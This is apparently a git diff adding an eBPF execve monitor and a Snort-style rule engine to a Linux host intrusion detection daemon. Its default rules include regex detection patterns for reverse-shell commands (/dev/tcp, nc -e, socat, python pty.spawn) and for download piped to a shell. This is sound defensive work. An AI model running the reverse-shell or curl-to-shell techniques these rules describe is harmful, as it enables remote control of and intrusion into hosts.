diff --git a/README.md b/README.md
index 0b154be..58d6517 100644
--- a/README.md
+++ b/README.md
@@ -32,6 +32,35 @@ EDRs are built on:
 | `persistence` | Changes to cron, systemd units, `authorized_keys`, rc files | Persistence has to write somewhere that survives reboot |
 | `egress` | An interpreter with an established connection to a public IP | C2 beacons and exfil have to phone home |
 
+Every detection carries a stable **`sid`** and a **`classtype`** (à la
+Snort/Suricata), so it can be referenced, tuned, and tracked across revisions.
+
+## Event-driven detection (eBPF + a Snort-style rule engine)
+
+Polling has a blind spot: a process that runs and exits between two sweeps is
+invisible to it. The event layer closes that gap. An eBPF probe (loaded with
+`bcc`) fires on every `execve` and hands each event to a **declarative rule
+engine** — the host-event analogue of Snort matching packets:
+
+```toml
+# a rule is data, not code — sid, msg, classtype, severity + conditions
+sid        = 100002
+msg        = "Reverse-shell command pattern in execve arguments"
+severity   = "CRITICAL"
+classtype  = "c2-reverse-shell"
+argv_regex = "/dev/(tcp|udp)/| -i\\b| -e\\b| pty\\.spawn"
+```
+
+Shipped rules cover fileless execution from world-writable dirs (`sid 100001`),
+reverse-shell argv patterns (`100002`), web/DB services spawning a shell —
+webshell/RCE (`100003`), and `curl|sh`-style ingress tool transfer (`100004`).
+Operators add their own via `exec_rules_file` without touching code.
+
+The layer is **fail-safe**: if `bcc`/root/BTF aren't available it logs the
+reason and the daemon runs poll-only — a broken probe can never take detection
+down. Lineage: the rule-driven engine + SIDs come from **Snort**; the host-IDS
+framing (and the queued FIM / hidden-process checks) from **OSSEC**.
+
 ## Architecture
 
 ```
@@ -42,11 +71,22 @@ enodia_sentinel/
 ├── snapshot.py       forensic text+JSON capture · response guidance · retention
 ├── config.py         dataclass config (TOML + env overrides)
 ├── netutil.py        public-IP / CIDR logic (stdlib ipaddress)
-├── alert.py          Alert / Severity
-└── detectors/        one module per signature, each a pure function:
-                          detect(state, cfg) -> Iterable[Alert]
+├── alert.py          Alert / Severity (with Snort-style sid + classtype)
+├── detectors/        poll detectors — one module per signature, each a pure
+│                       function: detect(state, cfg) -> Iterable[Alert]
+└── events/           event-driven layer (eBPF)
+    ├── bcc_source.py   real eBPF execve probe loaded via bcc
+    ├── exec_event.py   the ExecEvent type
+    ├── rules.py        Snort-style ExecRule engine + default rules
+    └── monitor.py      runs the probe on a thread, routes events → rules
 ```
 
+Two complementary detection paths feed one Alert → snapshot pipeline:
+
+- **Poll** — every few seconds, sweep `/proc`/`ss` (catches anything lingering).
+- **Event** — eBPF fires on every `execve`, matched against the rule engine
+  (catches processes that exit *between* sweeps).
+
 The loop is deliberately the same control flow as the bash prototype, but the
 state lives in real objects:
 
@@ -161,28 +201,48 @@ writable path, `ProtectHome=read-only`, `NoNewPrivileges`,
 (`CAP_SYS_PTRACE`, `CAP_DAC_READ_SEARCH`). It only ever **reads** the system and
 **writes** to its own log directory.
 
-## Roadmap — from polling to eBPF
+## Enabling the eBPF monitor
 
-This is **poll-based**: it sweeps `/proc` and `ss` every few seconds. Robust,
-dependency-light, and catches anything that lingers — but it can miss sub-second
-processes. The planned evolution:
+The event layer needs `python-bpfcc` and privileges the hardened unit
+deliberately withholds (bcc JIT-compiles its programs, so it needs write+exec
+memory and `CAP_BPF`/`CAP_PERFMON`/`CAP_SYS_ADMIN`). Under the default unit the
+monitor simply fails closed and the daemon runs poll-only. To turn it on:
 
-1. **bpftrace tracepoints (now, optional)** — `capture_execve_bpftrace = true`
-   adds a live `execve` trace to each snapshot. The gentle on-ramp to kernel
-   tracing.
-2. **Event-driven detection** — `bpftrace`/BCC probes on `sys_enter_execve`,
-   `security_bprm_check`, and `tcp_connect`, streamed to the daemon so a
-   short-lived reverse shell can't slip between sweeps.
-3. **A libbpf + CO-RE agent (Go or Rust userland)** — the production EDR core:
-   LSM hooks, ring-buffer event streaming, per-process lineage, tamper
-   resistance.
+```bash
+sudo pacman -S python-bpfcc
+sudo install -Dm644 systemd/enodia-sentinel-ebpf.conf \
+    /etc/systemd/system/enodia-sentinel.service.d/ebpf.conf
+sudo systemctl daemon-reload && sudo systemctl restart enodia-sentinel
+# confirm:  grep 'eBPF exec monitor' /var/log/enodia-sentinel/events.log
+```
 
-The polling daemon isn't throwaway — it's the **oracle**: every signature here
-is a test case the eBPF agent must reproduce, and `sentinel-redteam` is the
-shared regression suite.
+The drop-in relaxes `MemoryDenyWriteExecute` and widens the capability set — a
+conscious tradeoff documented in the file itself.
+
+## Roadmap
+
+1. **bpftrace tracepoints (optional)** — `capture_execve_bpftrace = true` adds a
+   live `execve` trace to each snapshot.
+2. ✅ **Event-driven `execve` detection (done)** — a real eBPF probe via bcc,
+   feeding a Snort-style rule engine, so a short-lived process can't slip
+   between sweeps.
+3. **More event sources** — `tcp_connect` (event-driven egress) and
+   `security_bprm_check` (LSM) probes, plus per-process lineage tracking.
+4. **A libbpf + CO-RE agent (Go or Rust)** — the production EDR core: ring-buffer
+   event streaming, tamper resistance, no runtime compiler.
+
+The polling daemon isn't throwaway — it's the **oracle**: every signature is a
+test case the event layer must reproduce, and `sentinel-redteam` is the shared
+regression suite for both.
 
 ## Project status
 
+v0.3 — adds the event-driven **eBPF layer**: a real `bcc` execve probe feeding a
+Snort-style declarative rule engine (4 default rules), stable signature IDs +
+classtypes on every detection, fail-safe degradation to poll-only, and an
+opt-in hardening drop-in. Inspired by Snort (rule engine, SIDs) and OSSEC (HIDS
+framing; FIM + hidden-process checks are next).
+
 v0.2 — Python re-architecture of the bash prototype: 7 detectors, text+JSON
 forensic snapshots, backgrounded SUID scanning, 25-test unit suite, red-team
 harness, hardened systemd unit, Arch packaging. Zero runtime dependencies.
diff --git a/config/enodia-sentinel.toml b/config/enodia-sentinel.toml
index 9793255..aab5544 100644
--- a/config/enodia-sentinel.toml
+++ b/config/enodia-sentinel.toml
@@ -47,7 +47,15 @@ watch_persistence = [
     "/root/.ssh/authorized_keys", "/root/.bashrc", "/root/.profile",
 ]
 
-# --- eBPF on-ramp --------------------------------------------------------
+# --- eBPF event layer ----------------------------------------------------
+# Event-driven execve monitor: catches short-lived processes the poll loop
+# misses, matched against the Snort-style rule engine. Requires python-bpfcc
+# and root; degrades gracefully to polling otherwise.
+ebpf_exec_monitor = true
+# Optional path to a TOML file of extra [[exec_rules]] (sid/msg/severity/
+# classtype + path_prefixes/exec_comm/parent_comm/argv_regex).
+exec_rules_file = ""
+
 # Add a 3s bpftrace execve trace to each snapshot (requires the bpftrace pkg).
 capture_execve_bpftrace = false
 
diff --git a/enodia_sentinel/__init__.py b/enodia_sentinel/__init__.py
index 001d9ff..e81c859 100644
--- a/enodia_sentinel/__init__.py
+++ b/enodia_sentinel/__init__.py
@@ -6,4 +6,4 @@ captures a forensic snapshot with incident-response guidance whenever a known
 attack signature appears. The Python re-architecture of the bash v0 prototype.
 """
 
-__version__ = "0.2.0"
+__version__ = "0.3.0"
diff --git a/enodia_sentinel/alert.py b/enodia_sentinel/alert.py
index f478247..516830f 100644
--- a/enodia_sentinel/alert.py
+++ b/enodia_sentinel/alert.py
@@ -29,11 +29,18 @@ class Alert:
     key: str
     detail: str
     pids: tuple[int, ...] = field(default_factory=tuple)
+    # Snort-style metadata: a stable signature id and a category. Every
+    # detection in Enodia has an `sid` so it can be referenced, tuned, and
+    # tracked across revisions the way a Snort/Suricata rule is.
+    sid: int = 0
+    classtype: str = "uncategorized"
 
     def to_dict(self) -> dict:
         return {
+            "sid": self.sid,
             "severity": str(self.severity),
             "signature": self.signature,
+            "classtype": self.classtype,
             "key": self.key,
             "detail": self.detail,
             "pids": list(self.pids),
diff --git a/enodia_sentinel/config.py b/enodia_sentinel/config.py
index 55479ef..06f8236 100644
--- a/enodia_sentinel/config.py
+++ b/enodia_sentinel/config.py
@@ -58,6 +58,10 @@ class Config:
 
     # eBPF on-ramp
     capture_execve_bpftrace: bool = False
+    # Event-driven eBPF execve monitor (catches short-lived processes the poll
+    # loop misses). Degrades gracefully to polling if bcc/root/BTF unavailable.
+    ebpf_exec_monitor: bool = True
+    exec_rules_file: str = ""   # optional extra Snort-style rules (TOML)
 
     # retention
     max_snapshots: int = 300
diff --git a/enodia_sentinel/daemon.py b/enodia_sentinel/daemon.py
index 639629c..46ad6c4 100644
--- a/enodia_sentinel/daemon.py
+++ b/enodia_sentinel/daemon.py
@@ -23,6 +23,10 @@ class Sentinel:
         self.cfg = cfg
         self.start_time = time.time()
         self.cooldowns: dict[str, float] = {}
+        # Cooldowns are touched by both the sweep loop and the eBPF event
+        # thread, so guard them.
+        self._cooldown_lock = threading.Lock()
+        self._exec_monitor = None
         self.last_persist_scan = self.start_time
         self.listener_baseline: set[str] = set()
         self.suid_baseline: set[str] = set()
@@ -99,15 +103,24 @@ class Sentinel:
         return alerts
 
     def fresh_alerts(self, alerts: list[Alert], now: float) -> list[Alert]:
-        """Drop alerts whose dedup key is still within cooldown."""
+        """Drop alerts whose dedup key is still within cooldown (thread-safe)."""
         out = []
-        for a in alerts:
-            prev = self.cooldowns.get(a.key, 0.0)
-            if (now - prev) >= self.cfg.cooldown:
-                self.cooldowns[a.key] = now
-                out.append(a)
+        with self._cooldown_lock:
+            for a in alerts:
+                prev = self.cooldowns.get(a.key, 0.0)
+                if (now - prev) >= self.cfg.cooldown:
+                    self.cooldowns[a.key] = now
+                    out.append(a)
         return out
 
+    def _on_exec_alert(self, alert: Alert) -> None:
+        """Callback for the eBPF exec monitor — same dedup + capture path."""
+        fresh = self.fresh_alerts([alert], time.time())
+        if fresh:
+            threading.Thread(
+                target=self._capture, args=(fresh,), daemon=True
+            ).start()
+
     # -- main loop ---------------------------------------------------------
     def run(self) -> None:
         self.cfg.log_dir.mkdir(parents=True, exist_ok=True)
@@ -115,6 +128,7 @@ class Sentinel:
             fh.write(f"{time.strftime('%FT%T%z')} enodia-sentinel started\n")
         self.build_baselines()
         snapshot.prune(self.cfg)
+        self._start_exec_monitor()
         sweeps = 0
         while not self._stop.is_set():
             now = time.time()
@@ -134,6 +148,18 @@ class Sentinel:
                 snapshot.prune(self.cfg)
             self._stop.wait(self.cfg.sample_interval)
 
+    def _start_exec_monitor(self) -> None:
+        if not self.cfg.ebpf_exec_monitor:
+            return
+        from .events.monitor import ExecMonitor
+        self._exec_monitor = ExecMonitor(self.cfg, self._on_exec_alert)
+        ok, reason = self._exec_monitor.start()
+        with open(self.cfg.events_log, "a") as fh:
+            status = "enabled" if ok else f"disabled ({reason})"
+            fh.write(f"{time.strftime('%FT%T%z')} eBPF exec monitor: {status}\n")
+        if not ok:
+            self._exec_monitor = None
+
     def _capture(self, alerts: list[Alert]) -> None:
         try:
             snapshot.capture(alerts, SystemState(), self.cfg)
@@ -143,3 +169,5 @@ class Sentinel:
 
     def stop(self, *_a) -> None:
         self._stop.set()
+        if self._exec_monitor is not None:
+            self._exec_monitor.stop()
diff --git a/enodia_sentinel/detectors/deleted_exe.py b/enodia_sentinel/detectors/deleted_exe.py
index 4c75b19..966e5bd 100644
--- a/enodia_sentinel/detectors/deleted_exe.py
+++ b/enodia_sentinel/detectors/deleted_exe.py
@@ -37,4 +37,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
             key=f"del:{proc.pid}",
             detail=f"pid={proc.pid} comm={proc.comm} exe=[{exe}]",
             pids=(proc.pid,),
+            sid=100012,
+            classtype="fileless-execution",
         )
diff --git a/enodia_sentinel/detectors/egress.py b/enodia_sentinel/detectors/egress.py
index 1b52b35..9bb508c 100644
--- a/enodia_sentinel/detectors/egress.py
+++ b/enodia_sentinel/detectors/egress.py
@@ -33,4 +33,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
                 "(interpreter to public IP)"
             ),
             pids=(s.pid,) if s.pid else (),
+            sid=100016,
+            classtype="c2-exfil",
         )
diff --git a/enodia_sentinel/detectors/ld_preload.py b/enodia_sentinel/detectors/ld_preload.py
index 39abb71..c044a5f 100644
--- a/enodia_sentinel/detectors/ld_preload.py
+++ b/enodia_sentinel/detectors/ld_preload.py
@@ -31,6 +31,8 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
             signature="ld_preload",
             key="ldp:global",
             detail=f"/etc/ld.so.preload is non-empty: [{contents.replace(chr(10), ' ')}]",
+            sid=100011,
+            classtype="rootkit-preload",
         )
 
     for proc in state.processes:
@@ -44,4 +46,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
                 key=f"ldp:{proc.pid}",
                 detail=f"pid={proc.pid} comm={proc.comm} LD_PRELOAD=[{pre}]",
                 pids=(proc.pid,),
+                sid=100011,
+                classtype="rootkit-preload",
             )
diff --git a/enodia_sentinel/detectors/new_listener.py b/enodia_sentinel/detectors/new_listener.py
index 6a767ed..b1b6a63 100644
--- a/enodia_sentinel/detectors/new_listener.py
+++ b/enodia_sentinel/detectors/new_listener.py
@@ -31,4 +31,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
             key=f"lis:{key}",
             detail=f"new listening socket {s.local} by comm={comm}",
             pids=(s.pid,) if s.pid else (),
+            sid=100013,
+            classtype="backdoor-listener",
         )
diff --git a/enodia_sentinel/detectors/new_suid.py b/enodia_sentinel/detectors/new_suid.py
index 85ec0e6..33ac09b 100644
--- a/enodia_sentinel/detectors/new_suid.py
+++ b/enodia_sentinel/detectors/new_suid.py
@@ -33,4 +33,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
                 ("SUID/SGID binary in writable dir: " if hot
                  else "new SUID/SGID binary: ") + path
             ),
+            sid=100014,
+            classtype="privilege-escalation",
         )
diff --git a/enodia_sentinel/detectors/persistence.py b/enodia_sentinel/detectors/persistence.py
index 2d904f3..839fdf7 100644
--- a/enodia_sentinel/detectors/persistence.py
+++ b/enodia_sentinel/detectors/persistence.py
@@ -40,4 +40,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
                 signature="persistence",
                 key=f"persist:{path}",
                 detail=f"persistence file modified: {path}",
+                sid=100015,
+                classtype="persistence",
             )
diff --git a/enodia_sentinel/detectors/reverse_shell.py b/enodia_sentinel/detectors/reverse_shell.py
index 3253f8b..93bc0d1 100644
--- a/enodia_sentinel/detectors/reverse_shell.py
+++ b/enodia_sentinel/detectors/reverse_shell.py
@@ -35,4 +35,6 @@ def detect(state: SystemState, cfg: Config) -> Iterator[Alert]:
                 f"peer=[{peer}] cmd=[{proc.cmdline[:90]}]"
             ),
             pids=(proc.pid,),
+            sid=100010,
+            classtype="c2-reverse-shell",
         )
diff --git a/enodia_sentinel/events/__init__.py b/enodia_sentinel/events/__init__.py
new file mode 100644
index 0000000..8d448e2
--- /dev/null
+++ b/enodia_sentinel/events/__init__.py
@@ -0,0 +1,9 @@
+# SPDX-License-Identifier: GPL-3.0-or-later
+"""Event-driven detection layer.
+
+Where the poll-based detectors sweep system state every few seconds, this layer
+reacts to kernel events the instant they happen — so a process that executes and
+exits between two sweeps (fileless droppers, short-lived reverse shells) is still
+caught. Events come from eBPF (``bcc``) and are matched against a declarative,
+Snort-style rule set.
+"""
diff --git a/enodia_sentinel/events/bcc_source.py b/enodia_sentinel/events/bcc_source.py
new file mode 100644
index 0000000..830a9ee
--- /dev/null
+++ b/enodia_sentinel/events/bcc_source.py
@@ -0,0 +1,139 @@
+# SPDX-License-Identifier: GPL-3.0-or-later
+"""eBPF execve event source, built on bcc.
+
+Loads a small eBPF program that fires on every ``execve``, capturing the
+executed path, the first couple of arguments, the uid, and the parent. Events
+are delivered to user space over a perf buffer and decoded into ``ExecEvent``.
+
+This is intentionally fail-safe: if bcc isn't installed, the kernel lacks BPF,
+or we aren't root, ``available()`` returns False and the daemon simply runs with
+its poll-based detectors. A broken probe must never take the daemon down.
+"""
+from __future__ import annotations
+
+import os
+from collections.abc import Callable
+
+from .exec_event import ExecEvent
+
+# eBPF C. bcc rewrites pointer dereferences (e.g. task->real_parent->tgid) into
+# bpf_probe_read calls, so this stays close to bcc's own execsnoop example.
+_BPF_PROGRAM = r"""
+#include <uapi/linux/ptrace.h>
+#include <linux/sched.h>
+
+#define ARGLEN 160
+
+struct data_t {
+    u32 pid;
+    u32 ppid;
+    u32 uid;
+    char parent_comm[TASK_COMM_LEN];
+    char filename[ARGLEN];
+    char arg1[ARGLEN];
+    char arg2[ARGLEN];
+};
+BPF_PERF_OUTPUT(events);
+
+int syscall__execve(struct pt_regs *ctx,
+                    const char __user *filename,
+                    const char __user *const __user *__argv,
+                    const char __user *const __user *__envp)
+{
+    struct data_t data = {};
+    struct task_struct *task = (struct task_struct *)bpf_get_current_task();
+
+    data.pid = bpf_get_current_pid_tgid() >> 32;
+    data.ppid = task->real_parent->tgid;
+    data.uid = bpf_get_current_uid_gid() & 0xffffffff;
+    bpf_get_current_comm(&data.parent_comm, sizeof(data.parent_comm));
+    bpf_probe_read_user_str(&data.filename, sizeof(data.filename), filename);
+
+    const char __user *argp = NULL;
+    bpf_probe_read_user(&argp, sizeof(argp), &__argv[1]);
+    if (argp)
+        bpf_probe_read_user_str(&data.arg1, sizeof(data.arg1), argp);
+    argp = NULL;
+    bpf_probe_read_user(&argp, sizeof(argp), &__argv[2]);
+    if (argp)
+        bpf_probe_read_user_str(&data.arg2, sizeof(data.arg2), argp);
+
+    events.perf_submit(ctx, &data, sizeof(data));
+    return 0;
+}
+"""
+
+
+def available() -> tuple[bool, str]:
+    """Return (ok, reason). ok=True means the probe can be loaded."""
+    if os.geteuid() != 0:
+        return False, "not running as root (BPF requires CAP_BPF/root)"
+    try:
+        import bcc  # noqa: F401
+    except ImportError:
+        return False, "python bcc (python-bpfcc) not installed"
+    if not os.path.exists("/sys/kernel/btf/vmlinux") and not os.path.isdir(
+        "/lib/modules/%s/build" % os.uname().release
+    ):
+        return False, "no kernel BTF or headers for BPF compilation"
+    return True, "ok"
+
+
+class BccExecSource:
+    """Loads the eBPF probe and pumps decoded ExecEvents to a callback."""
+
+    def __init__(self, on_event: Callable[[ExecEvent], None]) -> None:
+        self._on_event = on_event
+        self._bpf = None
+        self._running = False
+
+    def start(self) -> None:
+        from bcc import BPF
+
+        self._bpf = BPF(text=_BPF_PROGRAM)
+        fnname = self._bpf.get_syscall_fnname("execve")
+        self._bpf.attach_kprobe(event=fnname, fn_name="syscall__execve")
+        self._bpf["events"].open_perf_buffer(self._handle, page_cnt=64)
+        self._running = True
+
+    def poll(self, timeout_ms: int = 200) -> None:
+        if self._bpf is not None:
+            self._bpf.perf_buffer_poll(timeout=timeout_ms)
+
+    def stop(self) -> None:
+        self._running = False
+        if self._bpf is not None:
+            try:
+                self._bpf.cleanup()
+            except Exception:
+                pass
+            self._bpf = None
+
+    @property
+    def running(self) -> bool:
+        return self._running
+
+    def _handle(self, cpu, data, size) -> None:
+        event = self._bpf["events"].event(data)
+        argv = tuple(
+            a for a in (_decode(event.arg1), _decode(event.arg2)) if a
+        )
+        ev = ExecEvent(
+            pid=event.pid,
+            ppid=event.ppid,
+            uid=event.uid,
+            parent_comm=_decode(event.parent_comm),
+            filename=_decode(event.filename),
+            argv=argv,
+        )
+        try:
+            self._on_event(ev)
+        except Exception:
+            # one bad event must not kill the poll loop
+            pass
+
+
+def _decode(raw) -> str:
+    if isinstance(raw, bytes):
+        return raw.split(b"\x00", 1)[0].decode("utf-8", "replace")
+    return str(raw)
diff --git a/enodia_sentinel/events/exec_event.py b/enodia_sentinel/events/exec_event.py
new file mode 100644
index 0000000..3faa444
--- /dev/null
+++ b/enodia_sentinel/events/exec_event.py
@@ -0,0 +1,43 @@
+# SPDX-License-Identifier: GPL-3.0-or-later
+"""The execve event — one process-execution observed by the kernel probe."""
+from __future__ import annotations
+
+import os
+from dataclasses import dataclass, field
+
+
+@dataclass(frozen=True)
+class ExecEvent:
+    """A single ``execve``, as seen at the moment of execution.
+
+    Captured by the eBPF probe (so it exists even for processes that exit before
+    a poll). ``parent_comm`` is the caller; ``filename`` is the program being
+    executed; ``argv`` is as much of the argument vector as the probe captured.
+    """
+
+    pid: int
+    ppid: int
+    uid: int
+    parent_comm: str
+    filename: str
+    argv: tuple[str, ...] = field(default_factory=tuple)
+
+    @property
+    def exec_comm(self) -> str:
+        """Basename of the executed program (its post-exec ``comm``)."""
+        return os.path.basename(self.filename)
+
+    @property
+    def argv_str(self) -> str:
+        """Full command line for regex matching (filename + captured args)."""
+        return " ".join((self.filename, *self.argv)).strip()
+
+    def to_dict(self) -> dict:
+        return {
+            "pid": self.pid,
+            "ppid": self.ppid,
+            "uid": self.uid,
+            "parent_comm": self.parent_comm,
+            "filename": self.filename,
+            "argv": list(self.argv),
+        }
diff --git a/enodia_sentinel/events/monitor.py b/enodia_sentinel/events/monitor.py
new file mode 100644
index 0000000..3b4bb02
--- /dev/null
+++ b/enodia_sentinel/events/monitor.py
@@ -0,0 +1,55 @@
+# SPDX-License-Identifier: GPL-3.0-or-later
+"""Runs the eBPF exec source on a thread and routes events through the engine."""
+from __future__ import annotations
+
+import threading
+from collections.abc import Callable
+
+from ..alert import Alert
+from ..config import Config
+from . import bcc_source
+from .exec_event import ExecEvent
+from .rules import ExecRuleEngine
+
+
+class ExecMonitor:
+    """Owns the event source + rule engine; emits Alerts via ``on_alert``.
+
+    ``start()`` is best-effort: it returns a (started, reason) pair and never
+    raises, so the daemon can log the reason and carry on with polling.
+    """
+
+    def __init__(self, cfg: Config, on_alert: Callable[[Alert], None]) -> None:
+        self.cfg = cfg
+        self._on_alert = on_alert
+        self.engine = ExecRuleEngine.load(cfg.exec_rules_file)
+        self._source = bcc_source.BccExecSource(self._on_event)
+        self._thread: threading.Thread | None = None
+        self._stop = threading.Event()
+
+    def start(self) -> tuple[bool, str]:
+        ok, reason = bcc_source.available()
+        if not ok:
+            return False, reason
+        try:
+            self._source.start()
+        except Exception as exc:  # compilation/attach/permission failure
+            return False, f"probe load failed: {exc!r}"
+        self._thread = threading.Thread(target=self._run, daemon=True)
+        self._thread.start()
+        return True, "ok"
+
+    def _run(self) -> None:
+        while not self._stop.is_set():
+            try:
+                self._source.poll(timeout_ms=200)
+            except Exception:
+                break
+
+    def _on_event(self, ev: ExecEvent) -> None:
+        for alert in self.engine.match(ev):
+            self._on_alert(alert)
+
+    def stop(self) -> None:
+        self._stop.set()
+        self._source.stop()
diff --git a/enodia_sentinel/events/rules.py b/enodia_sentinel/events/rules.py
new file mode 100644
index 0000000..978eeee
--- /dev/null
+++ b/enodia_sentinel/events/rules.py
@@ -0,0 +1,177 @@
+# SPDX-License-Identifier: GPL-3.0-or-later
+"""A declarative, Snort-style rule engine for execve events.
+
+Detection logic lives in *data*, not code. Each ``ExecRule`` is the host-event
+analogue of a Snort rule: a stable ``sid``, a human ``msg``, a ``classtype`` and
+``severity``, plus match conditions on the executed path, the program, the
+parent process, and the argument vector. The engine just walks the rules.
+
+A rule fires when **every condition it specifies** matches (AND); unspecified
+conditions are wildcards. A rule with no conditions is rejected at load time so
+it can't match everything by accident.
+
+Default rules ship below; operators can add more via a TOML file
+(``[[exec_rules]]`` tables) referenced by ``exec_rules_file`` in the config.
+"""
+from __future__ import annotations
+
+import re
+import tomllib
+from collections.abc import Iterable, Iterator
+from dataclasses import dataclass, field
+from pathlib import Path
+
+from ..alert import Alert, Severity
+from .exec_event import ExecEvent
+
+_SEVERITY = {
+    "MEDIUM": Severity.MEDIUM,
+    "HIGH": Severity.HIGH,
+    "CRITICAL": Severity.CRITICAL,
+}
+
+
+@dataclass(frozen=True)
+class ExecRule:
+    sid: int
+    msg: str
+    severity: Severity
+    classtype: str
+    # Conditions (all that are set must match):
+    path_prefixes: tuple[str, ...] = ()       # filename startswith any
+    exec_comm: frozenset[str] = frozenset()   # basename(filename) in set
+    parent_comm: frozenset[str] = frozenset() # caller comm in set
+    argv_regex: str | None = None             # re.search over argv_str
+    parent_exclude: frozenset[str] = frozenset()  # never fire for these parents
+
+    def __post_init__(self) -> None:
+        if not any((self.path_prefixes, self.exec_comm,
+                    self.parent_comm, self.argv_regex)):
+            raise ValueError(f"rule sid={self.sid} has no match conditions")
+        if self.argv_regex is not None:
+            # compile once; store on the frozen instance via object.__setattr__
+            object.__setattr__(self, "_argv_re", re.compile(self.argv_regex,
+                                                            re.IGNORECASE))
+        else:
+            object.__setattr__(self, "_argv_re", None)
+
+    def matches(self, ev: ExecEvent) -> bool:
+        if ev.parent_comm in self.parent_exclude:
+            return False
+        if self.path_prefixes and not ev.filename.startswith(self.path_prefixes):
+            return False
+        if self.exec_comm and ev.exec_comm not in self.exec_comm:
+            return False
+        if self.parent_comm and ev.parent_comm not in self.parent_comm:
+            return False
+        if self._argv_re is not None and not self._argv_re.search(ev.argv_str):
+            return False
+        return True
+
+    def to_alert(self, ev: ExecEvent) -> Alert:
+        return Alert(
+            severity=self.severity,
+            signature=f"exec_rule.{self.classtype}",
+            key=f"exec:{self.sid}:{ev.pid}",
+            detail=(
+                f"sid={self.sid} {self.msg} — pid={ev.pid} ppid={ev.ppid} "
+                f"parent={ev.parent_comm} exec={ev.filename} "
+                f"argv=[{ev.argv_str[:120]}]"
+            ),
+            pids=(ev.pid,),
+            sid=self.sid,
+            classtype=self.classtype,
+        )
+
+
+# --- shipped default rules -------------------------------------------------
+# SIDs 100001–100999 are reserved for Enodia's built-in exec rules.
+
+_INTERP = frozenset(
+    "sh bash dash zsh ksh ash python python2 python3 perl ruby php lua "
+    "nc ncat netcat socat".split()
+)
+_WEB_DB_SERVERS = frozenset(
+    "nginx apache apache2 httpd php-fpm php php7 php8 lighttpd caddy "
+    "node nodejs tomcat catalina mysqld mariadbd postgres redis-server".split()
+)
+
+DEFAULT_EXEC_RULES: tuple[ExecRule, ...] = (
+    ExecRule(
+        sid=100001,
+        msg="Program executed from a world-writable directory",
+        severity=Severity.CRITICAL,
+        classtype="fileless-execution",
+        path_prefixes=("/tmp/", "/dev/shm/", "/var/tmp/"),
+    ),
+    ExecRule(
+        sid=100002,
+        msg="Reverse-shell command pattern in execve arguments",
+        severity=Severity.CRITICAL,
+        classtype="c2-reverse-shell",
+        argv_regex=(
+            r"/dev/(tcp|udp)/"
+            r"|\b(ba|da|z)?sh\b[^|]*\s-i\b"
+            r"|\bn(c|cat|etcat)\b.*\s-e\b"
+            r"|\bsocat\b.*\bexec"
+            r"|python[0-9.]*\b.*(pty\.spawn|socket\.socket)"
+            r"|perl\b.*\bSocket\b"
+        ),
+    ),
+    ExecRule(
+        sid=100003,
+        msg="Web/DB service spawned a shell or interpreter (possible RCE/webshell)",
+        severity=Severity.CRITICAL,
+        classtype="web-rce",
+        parent_comm=_WEB_DB_SERVERS,
+        exec_comm=_INTERP,
+    ),
+    ExecRule(
+        sid=100004,
+        msg="Download piped directly to a shell (ingress tool transfer)",
+        severity=Severity.HIGH,
+        classtype="ingress-tool-transfer",
+        argv_regex=r"\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b",
+    ),
+)
+
+
+class ExecRuleEngine:
+    """Holds a rule set and matches events against it."""
+
+    def __init__(self, rules: Iterable[ExecRule] | None = None) -> None:
+        self.rules: list[ExecRule] = list(
+            rules if rules is not None else DEFAULT_EXEC_RULES
+        )
+
+    def match(self, ev: ExecEvent) -> Iterator[Alert]:
+        for rule in self.rules:
+            if rule.matches(ev):
+                yield rule.to_alert(ev)
+
+    @classmethod
+    def load(cls, path: str | Path | None) -> "ExecRuleEngine":
+        rules = list(DEFAULT_EXEC_RULES)
+        if path and Path(path).is_file():
+            rules.extend(_load_toml_rules(Path(path)))
+        return cls(rules)
+
+
+def _load_toml_rules(path: Path) -> list[ExecRule]:
+    with open(path, "rb") as fh:
+        data = tomllib.load(fh)
+    out: list[ExecRule] = []
+    for r in data.get("exec_rules", []):
+        out.append(ExecRule(
+            sid=int(r["sid"]),
+            msg=r.get("msg", ""),
+            severity=_SEVERITY.get(str(r.get("severity", "HIGH")).upper(),
+                                   Severity.HIGH),
+            classtype=r.get("classtype", "uncategorized"),
+            path_prefixes=tuple(r.get("path_prefixes", ())),
+            exec_comm=frozenset(r.get("exec_comm", ())),
+            parent_comm=frozenset(r.get("parent_comm", ())),
+            argv_regex=r.get("argv_regex"),
+            parent_exclude=frozenset(r.get("parent_exclude", ())),
+        ))
+    return out
diff --git a/enodia_sentinel/snapshot.py b/enodia_sentinel/snapshot.py
index 35b80c5..625340e 100644
--- a/enodia_sentinel/snapshot.py
+++ b/enodia_sentinel/snapshot.py
@@ -61,6 +61,20 @@ RESPONSES: dict[str, str] = {
 }
 
 
+_EXEC_RESPONSE = (
+    "An eBPF rule matched a process execution as it happened (caught even if the "
+    "process has since exited). RESPONSE: review the parent process and the full "
+    "command line, correlate with the captured sockets, and pivot on the parent "
+    "if it's a network-facing service."
+)
+
+
+def _response_for(signature: str) -> str:
+    if signature.startswith("exec_rule."):
+        return _EXEC_RESPONSE
+    return RESPONSES.get(signature, "Review the captured context manually.")
+
+
 def _run(cmd: list[str], timeout: int = 8) -> str:
     try:
         res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
@@ -105,12 +119,13 @@ def _format_text(report: dict, extras: dict[str, str]) -> str:
     L.append("")
     L.append("## Triggering detections")
     for a in report["alerts"]:
-        L.append(f"  [{a['severity']}] {a['signature']} — {a['detail']}")
+        L.append(f"  [{a['severity']}] sid:{a.get('sid', 0)} "
+                 f"{a['signature']} ({a.get('classtype', '?')}) — {a['detail']}")
     L.append("")
     L.append("## Response guidance")
     for sig in dict.fromkeys(a["signature"] for a in report["alerts"]):
         L.append(f"  • {sig}:")
-        L.append(f"    {RESPONSES.get(sig, 'Review the captured context manually.')}")
+        L.append(f"    {_response_for(sig)}")
     L.append("")
     L.append("## Flagged process detail")
     if report["processes"]:
diff --git a/packaging/PKGBUILD b/packaging/PKGBUILD
index e0e0e4f..a763e37 100644
--- a/packaging/PKGBUILD
+++ b/packaging/PKGBUILD
